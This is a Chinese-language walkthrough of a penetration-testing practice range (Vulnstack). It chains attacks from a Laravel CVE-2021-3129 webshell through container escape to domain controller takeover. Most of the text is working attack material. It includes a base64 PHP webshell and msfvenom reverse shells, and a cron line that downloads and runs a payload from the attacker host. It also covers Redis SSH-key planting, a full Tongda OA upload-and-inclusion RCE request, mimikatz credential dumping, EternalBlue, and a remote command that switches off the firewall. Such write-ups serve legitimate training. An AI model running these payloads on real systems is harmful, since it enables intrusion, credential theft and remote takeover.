前言 靶场下载链接: http://vulnstack.qiyuanxuetang.net/vuln/detail/9/
参考链接: https://www.freebuf.com/articles/web/354890.html
拓扑图:
环境配置 目标IP: 192.168.40.136
第一层网络DMZ-Web1(Ubuntu):
网卡1:192.168.40.136
网卡2:192.168.52.10
第二层网络-Web2(Ubuntu):
网卡1:192.168.52.20
网卡2:192.168.93.10
第二层网络-PC1(Windows 7):
网卡1:192.168.52.30
网科2:192.168.93.20
第三层网络-PC2(Windows 7):
网卡1:192.168.93.40
第三层网络-Server(Windows Server 2012):
网卡1:192.168.93.30
渗透过程 外网打点 拿到目标IP后,使用nmap对目标IP进行常规的信息搜集
1 nmap -T4 -p1-65535 -A 192.168.40.136
发现其81端口开放且存在Laravel 框架,此外6379端口存在Redis 服务
根据此处Laravel 框架的版本,推测其存在CVE-2021-3129 漏洞
利用Laravel漏洞检测工具 进行检测,发现其存在相关漏洞
漏洞利用 利用CVE-2021-3129的利用脚本 写入木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" /* system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php'); 这行命令通过 PHP 的 system 函数执行一个 shell 命令。具体命令是将字符串 PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4= 通过 base64 解码,然后将解码后的内容写入到 /var/www/html/shell.php 文件中 phar phar -o php://output 这部分命令的目的是将 PHAR 文件的输出内容重定向到标准输出 (php://output) base64 -w 0 将上一步的输出通过 base64 编码,并且不换行 (-w 0 表示输出时不换行) python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" 这部分 Python 代码从标准输入读取数据,并将每个字符转换为十六进制表示,然后格式化为 =xx=00 的形式并输出。比如字符 A 会被转换为 =41=00 */
然后执行
1 python3 Laravel_CVE-2021 -3129 _EXP.py "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/test.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
直接访问192.168.40.136:81/shell.php执行命令,可知木马写入成功
然后使用蚁剑进行连接,输入命令检测后,发现目前该shell目前是在Docker容器中
权限提升 面对这种情况,需要想办法进行Docker逃逸 从而获取该主机的权限,但在此之前,由于我们拿到的用户为www-data 权限太小,所以我们需要进行提权
这里我们使用find命令来搜索具有SUID的文件
1 find / -perm -u=s -type f 2>/dev/null
根据上面的命令,我们可以遍历所有可执行文件,这里我们发现/home/jobs目录下存在一个名为shell 的文件,且存在SUID的权限
尝试运行shell文件,可以发现其执行了ps命令,并且没有使用绝对路径,因此尝试更改$PATH来执行我们构造的恶意程序,从而获取更高权限的shell
1 2 3 4 5 6 7 cd /tmp echo "/bin/bash" > ps chmod 777 ps echo $PATH export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序 cd /home/jobs ./shell
之后可以使用msf生成木马,并将其上传到目标容器执行,然后使用metasploit进行反弹得到shell,具体操作如下:
1 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.40.142 LPORT=4444 -f elf -o test.elf
将生成的test.elf 上传到服务器
然后使用msfconsole 进行监听
1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.40.142 set lport 4444 run
然后运行上传到服务器的test.elf,成功得到shell
Docker逃逸
特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
查看挂载目录,发现挂载有其他目录
在根目录创建test 目录,并将/dev/sda1挂载上去
这时我们可以通过访问容器内部的/test来实现访问整台宿主机
注意!在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了
使用metasploit的web_delivery模块生成payload
1 2 3 4 5 6 use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.40.142 set lport 5555 run
将生成的命令在目标主机上执行,从而得到目标主机的meterpreter
1 echo '* * * * * wget -qO TDkiFNiS --no-check-certificate http://192.168.40.142:8080/9eE8P9ar5J; chmod +x TDkiFNiS; ./TDkiFNiS& disown' >> /test/var/spool/cron/crontabs/root
通过信息搜集,我们可以得到以下有用信息:
该主机系统版本为:Ubuntu 14.04
该主机存在两个内网IP:192.168.52.20 和 192.168.93.10
这里会发现没有我们所访问的入口地址192.168.40.136
这边我们再尝试6379端口的redis 服务,发现其存在未授权访问,直接进行连接
直接进行利用,通过在攻击机生成ssh公钥
然后将生成的公钥导入key.txt 中,再将key.txt的内容写入目标主机的redis缓冲里
1 2 3 (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt cat key.txt | redis-cli -h 192.168.1.8 -x set xxx
注意!前后用\n换行,避免和Redis里其他缓存数据混合,-x 代表从标准输入读取数据作为该命令的最后一个参数
然后使用攻击机连接目标的Redis ,然后执行命令将ssh公钥 写入目标主机
1 2 3 config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/ config set dbfilename authorized_keys # 设置保存文件名为authorized_keys save # 将数据保存在目标服务器硬盘上
写入后尝试连接,成功连接上目标主机
此处查看网络信息,发现也存在两个IP,192.168.40.136 和 192.168.52.10
操作系统为Ubuntu 18.04
由此可知目标的网站应该做了反向代理,此Ubuntu 18.04仅仅提供一个代理服务,真正的Web服务器在那台Ubuntu 14.04上,Ubuntu 18.04的Nginx将81端口上收到的请求转发给了内网第二层网络的Web服务器192.168.52.20也就是Ubuntu 14.04
内网渗透 在Ubuntu 18.04服务器使用earthworm搭建socks5反向代理服务,在攻击机执行命令:
1 ./ew_for_linux64 -s rcsocks -l 1080 -e 1234
在Ubuntu 18.04执行命令:
1 ./ew_for_linux64 -s rssocks -d 192.168.40.142 -e 1234
然后在攻击机修改proxychains的配置文件(一般路径在/etc/proxychains.conf)在文件底部修改:
然后使用namp 进行扫描,发现存在192.168.52.30主机,且开放了相关端口,在其8080端口上存在通达OA 系统,将浏览器设置代理后,成功访问
通过搜索,结合网上纰漏的通达的漏洞,通过未授权登录成功获得session
之后利用文件上传漏洞,成功上传木马
注意!此处我在复现过程中,需要将session修改为未授权登录所获得的session
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 POST /ispirit/im/upload.php HTTP/1.1 Host : 192.168.52.30:8080Content-Length : 679Cache-Control : no-cacheUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type : multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept : */*Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie : PHPSESSID=0nq2ah0avu1qn3ea4sheo41ha7Connection : close------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="UPLOAD_MODE" 2 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="P" 0 nq2ah0avu1qn3ea4sheo41ha7------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="DEST_UID" 1 ------WebKitFormBoundarypyfBh1YB4pV8McGB Content-Disposition: form-data; name="ATTACHMENT" ; filename="jpg" Content-Type: image/jpeg <?php $command =$_POST ['cmd' ];$wsh = new COM ('WScript.shell' );$exec = $wsh ->exec ("cmd /c " .$command );$stdout = $exec ->StdOut ();$stroutput = $stdout ->ReadAll ();echo $stroutput ;?> ------WebKitFormBoundarypyfBh1YB4pV8McGB--
再结合文件包含来执行命令,成功rce
1 2 3 4 5 6 7 8 9 10 POST /ispirit/interface/gateway.php HTTP/1.1 Host : 192.168.52.30:8080Connection : keep-aliveAccept-Encoding : gzip, deflateAccept : */*User-Agent : python-requests/2.21.0Content-Length : 69Content-Type : application/x-www-form-urlencodedjson={"url" :"/general/../../attach/im/2407/1005700217.jpg" }&cmd =whoami
然后尝试上线msf
1 2 3 4 5 6 use exploit/multi/script/web_delivery set target 2 set payload windows/meterpreter/reverse_tcp set lhost 192.168.40.136 set lport 5566 run
生成的代码直接拿去Burpsuite执行,成功上线msf,从而对目标内网进行信息搜集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ipconfig /all systeminfo route print net view arp -a whoami net start net share net config workstation net user net user /domain net localgroup administrators net view /domain net user 用户名 /domain net group /domain net group 组名 /domain net group "domain admins" /domain net group "domain computers" /domain net group "domain controllers" /domain
使用meterpreter上的kiwi模块成功抓取到域用户bunny和域管理员administrator的凭证
1 2 3 load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
注意!如果提示需要运行在x64的进程中,可以使用ps查看进程,然后使用migrate迁移进程
第三层网络渗透 使用earthworm 搭建一个二级socks5代理服务
首先攻击机上执行如下命令添加一个转接隧道,监听1090端口,并将1090端口收到的代理请求发送给1235端口
1 ./ew_for_linux64 -s lcx_listen -l 1090 -e 1235
然后在第二层网络的Windows服务器上传ew_for_Win.exe,并利用ssocksd方式启动999端口的正向socks代理
1 ew_for_Win .exe -s ssocksd -l 999
最后,在DMZ区域的Ubuntu 18上传ew_for_linux64并利用lcx_slave方式,将攻击机的1235端口与第二层网络Windows 7的999端口连接起来
1 ./ew_for_linux64 -s lcx_slave -d 192.168.1.7 -e 1235 -f 192.168.52.30 -g 999
然后配置**/etc/proxychains.conf**
使用nmap此93网段进行扫描,发现存在192.168.93.30和192.168.93.40这两台机器,且其445端口都开放,猜测有可能存在永恒之蓝
横向移动 对192.168.93.40进行单独扫描,发现其为Windows7且139、135、445端口均开放
尝试使用msf打永恒之蓝
注意!直接在msf通过setg Proxies设置全局代理未能成功,而最终通过proxychains来运行msfconsole攻击成功
1 2 3 4 use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/bind_tcp set rhosts 192.168.93.40 run
成功拿下
域控渗透 使用psexec模块进行对域控的渗透攻击
1 2 3 4 5 6 7 8 use exploit/windows/smb/psexecset rhosts set set set set /meterpreter/set run
攻击失败,猜测是防火墙的问题
重新连接进192.168.52.30的shell,通过其输入用户名和密码来关掉192.168.93.30域控的防火墙
1 2 3 net use \\192.168.93.30 \ipc$ "Whoami2021" /user:"Administrator" sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.30 start unablefirewall
注意!虽然命令执行后会报Failed,但实际防火墙已经关闭了
再次执行上面的命令,成功拿下了域控